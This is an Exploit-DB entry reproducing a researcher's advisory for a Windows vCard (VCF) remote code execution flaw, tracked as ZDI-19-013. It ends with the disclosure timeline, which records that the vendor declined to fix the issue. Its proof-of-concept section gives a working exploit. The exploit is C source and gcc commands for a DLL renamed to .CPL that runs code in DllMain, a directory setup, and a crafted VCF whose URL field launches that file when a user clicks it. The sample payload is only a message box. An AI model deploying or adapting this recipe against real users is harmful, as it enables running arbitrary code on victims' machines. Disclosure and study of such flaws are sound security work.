Exploit-DB #46167
Description: Microsoft Windows VCF - Remote Code Execution
Type: local
Platform: windows
Date: 2019-01-15
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-VCF-FILE-INSUFFICIENT-WARNING-REMOTE-CODE-EXECUTION.txt
[+] ISR: ApparitionSec   
[+] Zero Day Initiative Program



[Vendor]
www.microsoft.com


[Product]
A VCF file is a standard file format for storing contact information for a person or business.
Microsoft Outlook supports the vCard and vCalendar features. These are a powerful new approach to electronic Personal Data Interchange (PDI).



[Vulnerability Type]
Insufficient UI Warning Remote Code Execution



[CVE Reference]
ZDI-19-013
ZDI-CAN-6920


[Security Issue]
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the processing of VCard files. Crafted data in a VCard file can cause Windows to display a dangerous hyperlink.
The user interface fails to provide any indication of the hazard.

An attacker can leverage this vulnerability to execute code in the context of the current user.


[Exploit/POC]
1) create a directory and name it "http" this will house the .CPL executable file.


2) create a .CPL file and give it a website name, I named mine "www.hyp3rlinx.altervista.cpl" 
or whatever website you wish so it can be referenced in the VCF file.

#include <windows.h>

/* hyp3rlinx */

/*
gcc -c -m32 hyp3rlinx.altervista.c
gcc -shared -m32 -o hyp3rlinx.altervista.cpl hyp3rlinx.altervista.o
*/

void ms_vcf_0day(){
	 MessageBox( 0, "Continue with install?" , "TrickyDealC0der " , MB_YESNO + MB_ICONQUESTION );
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
	switch(fdwReason){
		case DLL_PROCESS_ATTACH:{
			 ms_vcf_0day();
			break;
		}
		case DLL_PROCESS_DETACH:{
			 ms_vcf_0day();
			break;
		}
		case DLL_THREAD_ATTACH:{
			 ms_vcf_0day();
			break;
		}
		case DLL_THREAD_DETACH:{
			 ms_vcf_0day();
			break;
		}
	}
	
  return TRUE;
}



3) make sure to rename the executable .DLL extension to a .CPL extension if you did not follow compile instructions above to output as ".CPL".
e.g. hyp3rlinx.altervista.dll --> hyp3rlinx.altervista.cpl



4) Create .VCF mail file I named mine "trickyDealC0der.vcf"

For the URL in the .VCF Mail file specify a URL like...
URL;TYPE=home;PREF=1:http.\\www.hyp3rlinx.altervista.cpl

The Windows .VCF File content:

"trickyDealC0der.vcf"

BEGIN:VCARD
VERSION:4.0
N:Tricky;DealC0der;;;
FN:TrickyDealC0der
EMAIL;TYPE=home;PREF=1:M$@PwnedAgain.com
TEL;TYPE="cell,home";PREF=1:tel:[PII_REDACTED]
ADR;TYPE=home;PREF=1:;;1 NYC;NY;;WC2N;USA
URL;TYPE=home;PREF=1:http.\\www.hyp3rlinx.altervista.cpl
END:VCARD



Now, open the "trickyDealC0der.vcf" file and click the website link, the VCF file will traverse back one to the "http" directory where
our CPL executable file lives and KABOOM! 



[References]
https://www.zerodayinitiative.com/advisories/ZDI-19-013/



[Network Access]
Remote



[POC Video URL]
https://vimeo.com/310684003



[Disclosure Timeline]
Notification: Trend Micro Zero Day Initiative Program
2018-07-23 - Vulnerability reported to vendor
2019-01-10 - Coordinated public release of advisory
2019-01-10 - Advisory Updated

ADDITIONAL DETAILS	
08/06/18 - ZDI reported the vulnerability to the vendor
08/07/18 - The vendor acknowledged the report and provided a tracking #
10/01/18 – The vendor requested an additional file
10/03/18 – ZDI provided added files and a new PoC
10/03/18 – The vendor advised the report did not meet the bar for service
10/05/18 – ZDI advised that we believe the report is exploitable and notified the vendor of the intent to 0-day on 10/16/18
10/08/18 – The vendor advised ZDI they had re-considered a fix and requested an extension to 01/08/19
10/09/18 – ZDI agreed to the short extension
11/14/18 – The vendor again advised ZDI of the target patch date 01/08/19
12/12/18 – The vendor provided ZDI a CVE
12/19/18 - The vendor wrote to ZDI to advise that “engineering team had decided to pursue the fix as v.Next” and “Microsoft has decided that it will not be fixing this vulnerability and we are closing this case”
12/27/18 – ZDI notified the vendor of the intent to 0-day on 01/07/18



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx